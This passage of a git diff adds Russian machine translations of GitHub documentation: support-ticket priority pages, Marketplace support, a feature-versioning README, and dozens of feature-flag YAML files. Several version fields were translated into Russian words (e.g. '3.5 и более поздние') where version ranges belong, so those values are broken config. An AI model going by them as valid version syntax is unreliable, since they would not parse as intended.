内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). + +{% data reusables.enterprise_enterprise_support.installing-releases %} + +{% endif %} + +{% ifversion ghec or ghes or ghae %} + +## Resolving and closing support tickets + +{% data reusables.support.enterprise-resolving-and-closing-tickets %} + +{% endif %} + +## Further reading + +{%- ifversion ghes %} +- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)" +{%- endif %} +- "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)" +{%- ifversion not ghae %} +- "[Viewing and updating support tickets](/support/contacting-github-support/viewing-and-updating-support-tickets)" +{%- endif %} diff --git a/translations/ru-RU/content/support/learning-about-github-support/about-ticket-priority.md b/translations/ru-RU/content/support/learning-about-github-support/about-ticket-priority.md new file mode 100644 index 000000000000..76a323ab6943 --- /dev/null +++ b/translations/ru-RU/content/support/learning-about-github-support/about-ticket-priority.md @@ -0,0 +1,82 @@ +--- +title: О приоритете запроса в службу поддержки +intro: 'Вы можете сообщить о серьезности проблемы и о том, как она влияет на вас и вашу команду, определив приоритет вашего обращения в службу поддержки.' +shortTitle: Ticket priority +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Support +ms.openlocfilehash: bce2a30ad25b93274e982991f81be5b1b796c685 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140097' +--- +При обращении в {% data variables.contact.enterprise_support %} можно выбрать один из приоритетов {% ifversion ghes or ghae %}four{% else %}three{% endif %} для запроса в службу поддержки: {% ifversion ghes or ghae %}{% data variables.product.support_ticket_priority_urgent %},{% endif %} {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %} или {% data variables.product.support_ticket_priority_low %}. + +{% ifversion ghes or ghae %} + +{% data reusables.support.github-can-modify-ticket-priority %} + +{% ifversion ghes %} + +## Приоритет запроса в службу поддержки для {% data variables.product.prodname_ghe_server %} + +{% data reusables.support.ghes-priorities %} + +## Приоритет запроса в службу поддержки для {% data variables.product.prodname_advanced_security %} + +| Приоритет | Описание | +| :---: | --- | +| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_advanced_security %} не функционирует, остановлен или серьезно поврежден, при этом конечный пользователь не имеет возможности использовать программное обеспечение, и обходное решение недоступно. | +| {% data variables.product.support_ticket_priority_normal %} | {% data variables.product.prodname_advanced_security %} функционирует несогласованно, отрицательно влияя на использование и уровень производительности конечного пользователя. | +| {% data variables.product.support_ticket_priority_low %} | {% data variables.product.prodname_advanced_security %} функционирует согласованно, однако пользователь запрашивает незначительные изменения в программном обеспечении, например, обновления документации, исправление косметических дефектов или улучшения.| + +{% elsif ghae %} {% data reusables.support.ghae-priorities %} {% endif %} + +{% elsif ghec %} + + + +{% data reusables.support.zendesk-old-tickets %} + +Вы можете отправлять приоритетные вопросы, если вы приобрели {% data variables.product.prodname_ghe_cloud %} или являетесь участником, сторонним участником совместной работы или менеджером по выставлению счетов организации {% data variables.product.prodname_dotcom %}, которая в настоящее время подписана на {% data variables.product.prodname_ghe_cloud %}. + +Вопросы, которые удовлетворяют критериям приоритетных ответов: +- Включите вопросы, связанные с невозможностью доступа к основным функциям управления версиями {% data variables.product.prodname_dotcom %}. +- Включите ситуации, связанные с безопасностью учетной записи +- Не включайте периферийные службы и функции, такие как вопросы о Gists, {% data variables.product.prodname_pages %}, или уведомления по электронной почте +- Включайте вопросы только об организациях, использующих {% data variables.product.prodname_ghe_cloud %} + +Чтобы получить приоритетный ответ, необходимо следующее: +- Отправьте свой вопрос в [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) с проверенного адреса электронной почты, связанного с организацией, которая в настоящее время использует {% data variables.product.prodname_ghe_cloud %} +- Отправка нового запроса в службу поддержки для каждой отдельной приоритетной ситуации +- Отправьте свой вопрос с понедельника по пятницу по местному времени +- Необходимо понимать, что ответ на приоритетный вопрос будет получен по электронной почте +- Организуйте сотрудничество с {% data variables.contact.github_support %} и предоставьте всю информацию, которую запрашивает {% data variables.contact.github_support %} + +{% note %} + +**Примечание.** Вопросы не удовлетворяют критериям приоритетного ответа, если они отправляют во время местных праздничных и нерабочих дней, действующих в вашей юрисдикции. + +{% endnote %} + +Целевое восьмичасовое время ответа: +- Начинается, когда {% data variables.contact.github_support %} получает соответствующий вопрос +- Не начинается, пока вы не предоставите достаточную информацию для ответа на вопрос, если только вы не указали, что у вас нет достаточной информации +- Не применяется в выходные дни в вашем часовом поясе или во время местных праздничных дней, действующих в вашей юрисдикции + +{% note %} + +**Примечание.** {% data variables.contact.github_support %} не гарантирует решение вашего приоритетного вопроса. {% data variables.contact.github_support %} может повышать или понижать приоритет проблемы до/от статуса приоритетного вопроса с учетом разумной оценки информации, которую вы нам предоставляете. + +{% endnote %} + +{% endif %} + +## Дополнительные материалы + +- [Отправка в службу поддержки](/support/contacting-github-support/creating-a-support-ticket) diff --git a/translations/ru-RU/content/support/learning-about-github-support/github-marketplace-support.md b/translations/ru-RU/content/support/learning-about-github-support/github-marketplace-support.md new file mode 100644 index 000000000000..caaee34b807a --- /dev/null +++ b/translations/ru-RU/content/support/learning-about-github-support/github-marketplace-support.md @@ -0,0 +1,33 @@ +--- +title: Поддержка GitHub Marketplace +intro: 'Если возникли проблемы с использованием приложения в {% data variables.product.prodname_marketplace %}, вы можете обратиться в службу поддержки для данного приложения.' +shortTitle: Marketplace support +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /articles/github-marketplace-support + - /github/working-with-github-support/github-marketplace-support +topics: + - Support +ms.openlocfilehash: 84f6df6a4f56349f301ea7d6e18ce8247e71ab39 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140094' +--- +## Обращение к поставщику приложения за поддержкой + +Каждое приложение в {% data variables.product.prodname_marketplace %} содержит ссылку для обращения в службу поддержки приложения. + +{% data reusables.marketplace.visit-marketplace %} +2. Перейдите на страницу приложения. +3. На левой боковой панели в разделе "Средства разработчика" нажмите кнопку **Поддержка**. +4. На странице поддержки приложения следуйте инструкциям, чтобы связаться со службой поддержки приложения. + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace) +- [Приобретение и установка приложений в {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace) +- [Управление выставлением счетов за {% data variables.product.prodname_marketplace %} приложений](/articles/managing-billing-for-github-marketplace-apps) diff --git a/translations/ru-RU/content/support/learning-about-github-support/index.md b/translations/ru-RU/content/support/learning-about-github-support/index.md new file mode 100644 index 000000000000..1c15aa17d9a8 --- /dev/null +++ b/translations/ru-RU/content/support/learning-about-github-support/index.md @@ -0,0 +1,25 @@ +--- +title: Сведения о поддержки GitHub +shortTitle: About GitHub Support +intro: 'Дополнительные сведения о взаимодействии с {% data variables.contact.github_support %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /enterprise/admin/enterprise-support/overview + - /admin/enterprise-support/overview +children: + - about-github-support + - about-github-premium-support + - about-ticket-priority + - github-marketplace-support +ms.openlocfilehash: 9173034958f4c1703f67a24a95291e473c41f5f9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140089' +--- + diff --git a/translations/ru-RU/data/features/GH-advisory-db-erlang-support.yml b/translations/ru-RU/data/features/GH-advisory-db-erlang-support.yml new file mode 100644 index 000000000000..2548be6c39d8 --- /dev/null +++ b/translations/ru-RU/data/features/GH-advisory-db-erlang-support.yml @@ -0,0 +1,7 @@ +# Reference: Issue #6207. +# We have added support for Elixir advisories to the Advisory Database. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-6207' diff --git a/translations/ru-RU/data/features/GH-advisory-db-supports-malware.yml b/translations/ru-RU/data/features/GH-advisory-db-supports-malware.yml new file mode 100644 index 000000000000..6283037ef538 --- /dev/null +++ b/translations/ru-RU/data/features/GH-advisory-db-supports-malware.yml @@ -0,0 +1,6 @@ +# Reference: Issue #7088 GitHub Advisory Database now supports advisories for malware +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-7088' diff --git a/translations/ru-RU/data/features/README.md b/translations/ru-RU/data/features/README.md new file mode 100644 index 000000000000..6bd612725686 --- /dev/null +++ b/translations/ru-RU/data/features/README.md @@ -0,0 +1,55 @@ +--- +ms.openlocfilehash: bd13eb5688fd7c67e9230170ea2b451852660943 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: "148098128" +--- +## Управление версиями на основе функций + +Управление версиями на основе функций позволяет определять версии произвольно именованного компонента и управлять ими в одном месте. + +**Примечание.** Не удаляйте `data/features/placeholder.yml`, так как он используется тестами. + +## Принцип работы + +Добавьте новый YAML-файл с именем функцию, которую вы хотите использовать в этом каталоге. Для функции с именем `meow`, будет использоваться значение `data/features/meow.yml`. + +Добавьте блок `versions` в файл YML с короткими именами версий, в которых доступна функция. Пример: + +```yaml +versions: + fpt: '*' + ghec: '*' + ghes: '>3.1' + ghae: '*' +``` + +Формат и допустимые значения совпадают с форматом и значениями [свойства версий титульного листа](/content#versions). + +### Условные выражения Liquid + +Теперь можно использовать `{% ifversion meow %} ... {% endif %}` в файлах содержимого! + +### Frontmatter + +Эту функцию можно также использовать в Frontmatter в файлов содержимого: + +```yaml +versions: + fpt: '*' + ghec: '*' + ghes: '>3.1' + feature: 'meow' +``` + +Нельзя использовать `feature:` для указания нескольких параллельных версий, так как эта возможность не поддерживается. В качестве альтернативы можно создать новый файл управления версиями на основе компонентов с требуемым управлением версиями. + +## Принудительное применение схем + +Схема проверки наличия управления версиями в [`tests/helpers/schemas/feature-versions-schema.js`](/tests/helpers/schemas/feature-versions-schema.js), ее выполняет [`tests/linting/lint-versioning.js`](/tests/linting/lint-versioning.js). + +## Сценарий для удаления тегов компонентов + +Подлежит уточнению. diff --git a/translations/ru-RU/data/features/actions-cache-list-delete-apis.yml b/translations/ru-RU/data/features/actions-cache-list-delete-apis.yml new file mode 100644 index 000000000000..8cb742d8082e --- /dev/null +++ b/translations/ru-RU/data/features/actions-cache-list-delete-apis.yml @@ -0,0 +1,8 @@ +# Reference: #7340 +# Extends actions-cache-management.yml (Issue #6154) +# Documentation for Actions cache list and delete APIs +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.6' + ghae: 'issue-7340' diff --git a/translations/ru-RU/data/features/actions-cache-management.yml b/translations/ru-RU/data/features/actions-cache-management.yml new file mode 100644 index 000000000000..1ce07a81edbc --- /dev/null +++ b/translations/ru-RU/data/features/actions-cache-management.yml @@ -0,0 +1,7 @@ +# Reference: #6154 +# Documentation for Actions cache management APIs (initial ship) +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.4' + ghae: 'issue-6154' diff --git a/translations/ru-RU/data/features/actions-cache-policy-apis.yml b/translations/ru-RU/data/features/actions-cache-policy-apis.yml new file mode 100644 index 000000000000..c66718300237 --- /dev/null +++ b/translations/ru-RU/data/features/actions-cache-policy-apis.yml @@ -0,0 +1,5 @@ +# Reference: #6456 +# APIs to set default and max cache sizes. Only for GHES. +versions: + ghes: '3.5 и более поздние' + ghae: 'issue-6456' diff --git a/translations/ru-RU/data/features/actions-caching.yml b/translations/ru-RU/data/features/actions-caching.yml new file mode 100644 index 000000000000..d6be9dab3ce6 --- /dev/null +++ b/translations/ru-RU/data/features/actions-caching.yml @@ -0,0 +1,7 @@ +# Reference: #6456 +# General versioning for caching feature for Actions, newly added to GHES in 3.5 +versions: + fpt: '*' + ghec: '*' + ghes: '3.5 и более поздние' + ghae: 'issue-6456' diff --git a/translations/ru-RU/data/features/actions-hosted-runners.yml b/translations/ru-RU/data/features/actions-hosted-runners.yml new file mode 100644 index 000000000000..d7b08dee7465 --- /dev/null +++ b/translations/ru-RU/data/features/actions-hosted-runners.yml @@ -0,0 +1,5 @@ +# Reference: #6458 +# Larger GitHub-hosted runners +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/actions-inherit-secrets-reusable-workflows.yml b/translations/ru-RU/data/features/actions-inherit-secrets-reusable-workflows.yml new file mode 100644 index 000000000000..23f04873644a --- /dev/null +++ b/translations/ru-RU/data/features/actions-inherit-secrets-reusable-workflows.yml @@ -0,0 +1,7 @@ +# Reference: #6920 +# Documentation for inheriting secrets from the calling workflow +versions: + fpt: '*' + ghec: '*' + ghes: '>= 3.6' + ghae: 'issue-6920' diff --git a/translations/ru-RU/data/features/actions-job-summaries.yml b/translations/ru-RU/data/features/actions-job-summaries.yml new file mode 100644 index 000000000000..b1da5052e009 --- /dev/null +++ b/translations/ru-RU/data/features/actions-job-summaries.yml @@ -0,0 +1,7 @@ +# Reference: #6405 +# Documentation for job summaries for jobs on the workflow run summary page. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.5' + ghae: 'issue-6405' diff --git a/translations/ru-RU/data/features/actions-node16-action.yml b/translations/ru-RU/data/features/actions-node16-action.yml new file mode 100644 index 000000000000..196474ee1065 --- /dev/null +++ b/translations/ru-RU/data/features/actions-node16-action.yml @@ -0,0 +1,7 @@ +# Reference: #6447 +# Versions of actions used in workflows have been updated to their Node 16 version. +versions: + fpt: '*' + ghec: '*' + ghes: '3.5 и более поздние' + ghae: 'issue-6447' diff --git a/translations/ru-RU/data/features/actions-oidc-hardening-config.yml b/translations/ru-RU/data/features/actions-oidc-hardening-config.yml new file mode 100644 index 000000000000..bd23498113a0 --- /dev/null +++ b/translations/ru-RU/data/features/actions-oidc-hardening-config.yml @@ -0,0 +1,6 @@ +# Reference: #7336 +# General versioning for oidc hardening options +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' diff --git a/translations/ru-RU/data/features/actions-reusable-workflow-matrix.yml b/translations/ru-RU/data/features/actions-reusable-workflow-matrix.yml new file mode 100644 index 000000000000..cf3b99d4f9ec --- /dev/null +++ b/translations/ru-RU/data/features/actions-reusable-workflow-matrix.yml @@ -0,0 +1,7 @@ +# Reference: #7094 +# Documentation for allowing matrix jobs to call reusable workflows. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7094' diff --git a/translations/ru-RU/data/features/actions-runner-arch-envvars.yml b/translations/ru-RU/data/features/actions-runner-arch-envvars.yml new file mode 100644 index 000000000000..517e25a13da3 --- /dev/null +++ b/translations/ru-RU/data/features/actions-runner-arch-envvars.yml @@ -0,0 +1,7 @@ +# Reference: #5727 +# Documentation for new runner 'arch' environment variables set by the `runner` app. +versions: + fpt: '*' + ghec: '*' + ghes: '3.4 и более поздние' + ghae: 'issue-5727' diff --git a/translations/ru-RU/data/features/actions-stable-actor-ids.yml b/translations/ru-RU/data/features/actions-stable-actor-ids.yml new file mode 100644 index 000000000000..14ab57db8eb1 --- /dev/null +++ b/translations/ru-RU/data/features/actions-stable-actor-ids.yml @@ -0,0 +1,7 @@ +# Issue 7387 +# Differentiating triggering actor from executing actor +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7387' diff --git a/translations/ru-RU/data/features/actions-starter-template-ui.yml b/translations/ru-RU/data/features/actions-starter-template-ui.yml new file mode 100644 index 000000000000..37e13246f117 --- /dev/null +++ b/translations/ru-RU/data/features/actions-starter-template-ui.yml @@ -0,0 +1,7 @@ +# Reference: #5169. +# Documentation for the Actions starter template UI updates +versions: + fpt: '*' + ghec: '*' + ghes: '>3.4' + ghae: 'issue-5169' diff --git a/translations/ru-RU/data/features/actions-unified-inputs.yml b/translations/ru-RU/data/features/actions-unified-inputs.yml new file mode 100644 index 000000000000..931447f5d074 --- /dev/null +++ b/translations/ru-RU/data/features/actions-unified-inputs.yml @@ -0,0 +1,6 @@ +# Issue 6921 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6921' diff --git a/translations/ru-RU/data/features/actions-workflow-policy.yml b/translations/ru-RU/data/features/actions-workflow-policy.yml new file mode 100644 index 000000000000..3801888ae60e --- /dev/null +++ b/translations/ru-RU/data/features/actions-workflow-policy.yml @@ -0,0 +1,5 @@ +# Reference: #6478. +# Versioning for enterprise/org/repo policy settings for reusable workflow use. +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/allow-actions-to-approve-pr-with-ent-repo.yml b/translations/ru-RU/data/features/allow-actions-to-approve-pr-with-ent-repo.yml new file mode 100644 index 000000000000..31e90b34dd46 --- /dev/null +++ b/translations/ru-RU/data/features/allow-actions-to-approve-pr-with-ent-repo.yml @@ -0,0 +1,7 @@ +# Reference: #6926. +# Versioning for enterprise/repository policy settings for workflow PR creation or approval permission. This is only the enterprise and repo settings! For the previous separate ship for the org setting (that only overed approvals), see the allow-actions-to-approve-pr flag. +versions: + fpt: '*' + ghec: '*' + ghes: '3.6 и более поздние' + ghae: 'issue-6926' diff --git a/translations/ru-RU/data/features/allow-actions-to-approve-pr.yml b/translations/ru-RU/data/features/allow-actions-to-approve-pr.yml new file mode 100644 index 000000000000..0f1c36ad0ee3 --- /dev/null +++ b/translations/ru-RU/data/features/allow-actions-to-approve-pr.yml @@ -0,0 +1,7 @@ +# Reference: #6926. +# Versioning for org policy settings for workflow PR approval permission. This is only org setting! For the later separate ship for the enterprise and repo setting, see the allow-actions-to-approve-pr-with-ent-repo flag. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6926' diff --git a/translations/ru-RU/data/features/audit-data-retention-tab.yml b/translations/ru-RU/data/features/audit-data-retention-tab.yml new file mode 100644 index 000000000000..ae60adc52750 --- /dev/null +++ b/translations/ru-RU/data/features/audit-data-retention-tab.yml @@ -0,0 +1,5 @@ +# Reference #5104 +# Documentation for the "Audit data retention" tab in the enterprise audit log +versions: + ghes: '>=3.4' + ghae: 'issue-5104' diff --git a/translations/ru-RU/data/features/audit-log-sso-response-events.yml b/translations/ru-RU/data/features/audit-log-sso-response-events.yml new file mode 100644 index 000000000000..53f67d03b1c5 --- /dev/null +++ b/translations/ru-RU/data/features/audit-log-sso-response-events.yml @@ -0,0 +1,6 @@ +# Documentation for adding business.sso_response and org.sso_repsonse + +versions: + ghec: '*' + ghes: '>=3.8' + ghae: 'issue-7939' diff --git a/translations/ru-RU/data/features/audit-log-streaming.yml b/translations/ru-RU/data/features/audit-log-streaming.yml new file mode 100644 index 000000000000..d90c1ecaeb92 --- /dev/null +++ b/translations/ru-RU/data/features/audit-log-streaming.yml @@ -0,0 +1,5 @@ +# Reference: #7055 +# Documentation for audit log streaming +versions: + ghec: '*' + ghes: '>= 3.6' diff --git a/translations/ru-RU/data/features/autolink-reference-alphanumeric.yml b/translations/ru-RU/data/features/autolink-reference-alphanumeric.yml new file mode 100644 index 000000000000..abb953835f14 --- /dev/null +++ b/translations/ru-RU/data/features/autolink-reference-alphanumeric.yml @@ -0,0 +1,7 @@ +# Reference: #7370. +# Versioning for autolinks being able to accept alphanumeric chars. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7370' diff --git a/translations/ru-RU/data/features/blame-ignore-revs.yml b/translations/ru-RU/data/features/blame-ignore-revs.yml new file mode 100644 index 000000000000..a512f81c999f --- /dev/null +++ b/translations/ru-RU/data/features/blame-ignore-revs.yml @@ -0,0 +1,6 @@ +# Reference: #6378. +# Documentation for the `.git-blame-ignore-revs` file and the blame view +versions: + fpt: '*' + ghec: '*' + ghes: 'после 3.4' diff --git a/translations/ru-RU/data/features/build-pages-with-actions.yml b/translations/ru-RU/data/features/build-pages-with-actions.yml new file mode 100644 index 000000000000..458017e24dde --- /dev/null +++ b/translations/ru-RU/data/features/build-pages-with-actions.yml @@ -0,0 +1,5 @@ +# Issue 7584 +# Building Pages sites with Actions [GA] +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/bypass-branch-protections.yml b/translations/ru-RU/data/features/bypass-branch-protections.yml new file mode 100644 index 000000000000..5c7d7928669e --- /dev/null +++ b/translations/ru-RU/data/features/bypass-branch-protections.yml @@ -0,0 +1,7 @@ +# Issue: 6667 +# Description: Allow merging pull requests without complying with branch protection rules. +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-6667' diff --git a/translations/ru-RU/data/features/classic-project-visibility-permissions-or-projects-v2.yml b/translations/ru-RU/data/features/classic-project-visibility-permissions-or-projects-v2.yml new file mode 100644 index 000000000000..83d76ca5c9e6 --- /dev/null +++ b/translations/ru-RU/data/features/classic-project-visibility-permissions-or-projects-v2.yml @@ -0,0 +1,7 @@ +# Issue 7720 +# Organization owners can restrict public classic projects /OR/ Projects V2 +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7720' diff --git a/translations/ru-RU/data/features/classic-project-visibility-permissions.yml b/translations/ru-RU/data/features/classic-project-visibility-permissions.yml new file mode 100644 index 000000000000..277aaaf0833a --- /dev/null +++ b/translations/ru-RU/data/features/classic-project-visibility-permissions.yml @@ -0,0 +1,7 @@ +# Issue 7720 +# Organization owners can restrict public classic projects. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7720' diff --git a/translations/ru-RU/data/features/code-scanning-exclude-queries-from-analysis.yml b/translations/ru-RU/data/features/code-scanning-exclude-queries-from-analysis.yml new file mode 100644 index 000000000000..ee8634cf6b1c --- /dev/null +++ b/translations/ru-RU/data/features/code-scanning-exclude-queries-from-analysis.yml @@ -0,0 +1,7 @@ +# Issue 7617 +# Users can easily exclude CodeQL queries from code scanning analyses - [GA] +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7617' diff --git a/translations/ru-RU/data/features/code-scanning-pr-conversations-tab.yml b/translations/ru-RU/data/features/code-scanning-pr-conversations-tab.yml new file mode 100644 index 000000000000..c9a3ff1aa377 --- /dev/null +++ b/translations/ru-RU/data/features/code-scanning-pr-conversations-tab.yml @@ -0,0 +1,5 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-5895' diff --git a/translations/ru-RU/data/features/code-scanning-task-lists.yml b/translations/ru-RU/data/features/code-scanning-task-lists.yml new file mode 100644 index 000000000000..29408f5d1f72 --- /dev/null +++ b/translations/ru-RU/data/features/code-scanning-task-lists.yml @@ -0,0 +1,4 @@ +versions: + fpt: '*' + ghec: '*' + ghae: 'issue-5036' diff --git a/translations/ru-RU/data/features/codeowners-errors.yml b/translations/ru-RU/data/features/codeowners-errors.yml new file mode 100644 index 000000000000..fe55a0cc881f --- /dev/null +++ b/translations/ru-RU/data/features/codeowners-errors.yml @@ -0,0 +1,5 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '3.5 и более поздние' + ghae: 'issue-6078' diff --git a/translations/ru-RU/data/features/codeql-action-debug-logging.yml b/translations/ru-RU/data/features/codeql-action-debug-logging.yml new file mode 100644 index 000000000000..76008d8e4c27 --- /dev/null +++ b/translations/ru-RU/data/features/codeql-action-debug-logging.yml @@ -0,0 +1,7 @@ +# Reference: Issue #2499 in the codeql-core repository, and issue #7626 in the docs-content repository +# We have added one-click re-running in debug mode for code scanning CodeQL. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7626' diff --git a/translations/ru-RU/data/features/codeql-ml-queries.yml b/translations/ru-RU/data/features/codeql-ml-queries.yml new file mode 100644 index 000000000000..75942fdae8bd --- /dev/null +++ b/translations/ru-RU/data/features/codeql-ml-queries.yml @@ -0,0 +1,6 @@ +# Reference: #5604. +# Documentation for the beta release of CodeQL queries boosted by machine learning +# to generate experiemental alerts in code scanning. +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/codeql-packs.yml b/translations/ru-RU/data/features/codeql-packs.yml new file mode 100644 index 000000000000..368d28bd7b5c --- /dev/null +++ b/translations/ru-RU/data/features/codeql-packs.yml @@ -0,0 +1,5 @@ +# Reference: #4702. +# Documentation for the CodeQL package manager and CodeQL packs. +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/codeql-runner-supported.yml b/translations/ru-RU/data/features/codeql-runner-supported.yml new file mode 100644 index 000000000000..897bc7a079b0 --- /dev/null +++ b/translations/ru-RU/data/features/codeql-runner-supported.yml @@ -0,0 +1,5 @@ +# Tracking deprecation of CodeQL runner +# https://github.blog/changelog/2022-04-05-codeql-runner-is-now-deprecated/ + +versions: + ghes: '<=3.3' diff --git a/translations/ru-RU/data/features/command-palette.yml b/translations/ru-RU/data/features/command-palette.yml new file mode 100644 index 000000000000..c6f6f4efeea0 --- /dev/null +++ b/translations/ru-RU/data/features/command-palette.yml @@ -0,0 +1,5 @@ +# Reference: #5199. +# Documentation for the Command palette. +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/comment-dismissed-code-scanning-alert.yml b/translations/ru-RU/data/features/comment-dismissed-code-scanning-alert.yml new file mode 100644 index 000000000000..2aba7b4d97cb --- /dev/null +++ b/translations/ru-RU/data/features/comment-dismissed-code-scanning-alert.yml @@ -0,0 +1,5 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-2191' diff --git a/translations/ru-RU/data/features/commit-signoffs.yml b/translations/ru-RU/data/features/commit-signoffs.yml new file mode 100644 index 000000000000..26fe6119630a --- /dev/null +++ b/translations/ru-RU/data/features/commit-signoffs.yml @@ -0,0 +1,5 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6049' diff --git a/translations/ru-RU/data/features/commit-tree-view.yml b/translations/ru-RU/data/features/commit-tree-view.yml new file mode 100644 index 000000000000..249c627ec10e --- /dev/null +++ b/translations/ru-RU/data/features/commit-tree-view.yml @@ -0,0 +1,7 @@ +# Issue 6662 +# Commit file tree view +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6662' diff --git a/translations/ru-RU/data/features/container-hooks.yml b/translations/ru-RU/data/features/container-hooks.yml new file mode 100644 index 000000000000..ce4146672145 --- /dev/null +++ b/translations/ru-RU/data/features/container-hooks.yml @@ -0,0 +1,6 @@ +# Reference: #7070 +# Actions Runner Container Hooks +versions: + fpt: '*' + ghec: '*' + ghae: 'issue-7070' diff --git a/translations/ru-RU/data/features/copilot.yml b/translations/ru-RU/data/features/copilot.yml new file mode 100644 index 000000000000..14ba8f5e2d5b --- /dev/null +++ b/translations/ru-RU/data/features/copilot.yml @@ -0,0 +1,3 @@ +versions: + fpt: '*' + ghec: '*' diff --git a/translations/ru-RU/data/features/create-branch-from-overview.yml b/translations/ru-RU/data/features/create-branch-from-overview.yml new file mode 100644 index 000000000000..a51e624c41d1 --- /dev/null +++ b/translations/ru-RU/data/features/create-branch-from-overview.yml @@ -0,0 +1,5 @@ +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-6670' diff --git a/translations/ru-RU/data/features/custom-pattern-dry-run-ga.yml b/translations/ru-RU/data/features/custom-pattern-dry-run-ga.yml new file mode 100644 index 000000000000..1533fe096d3e --- /dev/null +++ b/translations/ru-RU/data/features/custom-pattern-dry-run-ga.yml @@ -0,0 +1,5 @@ +# Secret scanning: custom pattern dry run GA #7527 +versions: + ghec: '*' + ghes: '>3.6' + ghae: 'issue-7527' diff --git a/translations/ru-RU/data/features/custom-repository-roles.yml b/translations/ru-RU/data/features/custom-repository-roles.yml new file mode 100644 index 000000000000..d2c3b5c88326 --- /dev/null +++ b/translations/ru-RU/data/features/custom-repository-roles.yml @@ -0,0 +1,4 @@ +versions: + ghec: '*' + ghes: '>=3.5' + ghae: 'issue-6271' diff --git a/translations/ru-RU/data/features/debug-reruns.yml b/translations/ru-RU/data/features/debug-reruns.yml new file mode 100644 index 000000000000..320c5e6a88dd --- /dev/null +++ b/translations/ru-RU/data/features/debug-reruns.yml @@ -0,0 +1,7 @@ +# Issue 6629 +# Enabling debug logging when re-running jobs or workflows +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.6' + ghae: 'issue-6629' diff --git a/translations/ru-RU/data/features/default-merge-squash-commit-message.yml b/translations/ru-RU/data/features/default-merge-squash-commit-message.yml new file mode 100644 index 000000000000..301e82a19988 --- /dev/null +++ b/translations/ru-RU/data/features/default-merge-squash-commit-message.yml @@ -0,0 +1,7 @@ +# Reference: issue #7597 +# Admin can control default PR merge/ squash commit messages +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.7' + ghae: 'issue-7597' diff --git a/translations/ru-RU/data/features/delete-code-scanning-alerts.yml b/translations/ru-RU/data/features/delete-code-scanning-alerts.yml new file mode 100644 index 000000000000..8a836fed974d --- /dev/null +++ b/translations/ru-RU/data/features/delete-code-scanning-alerts.yml @@ -0,0 +1,5 @@ +# Tracking removing ability to delete code scanning alerts: ghae-issue-6776 + +versions: + ghae: '*' + ghes: '<3.6' diff --git a/translations/ru-RU/data/features/dependabot-alerts-development-label.yml b/translations/ru-RU/data/features/dependabot-alerts-development-label.yml new file mode 100644 index 000000000000..6ebf9611d3e1 --- /dev/null +++ b/translations/ru-RU/data/features/dependabot-alerts-development-label.yml @@ -0,0 +1,7 @@ +# Reference: Issue #6631 - Dependabot alerts: surface information about development dependencies - [GA] + +versions: + fpt: '*' + ghec: '*' + ghes: '>3.6' + ghae: 'issue-6631' diff --git a/translations/ru-RU/data/features/dependabot-alerts-dismissal-comment.yml 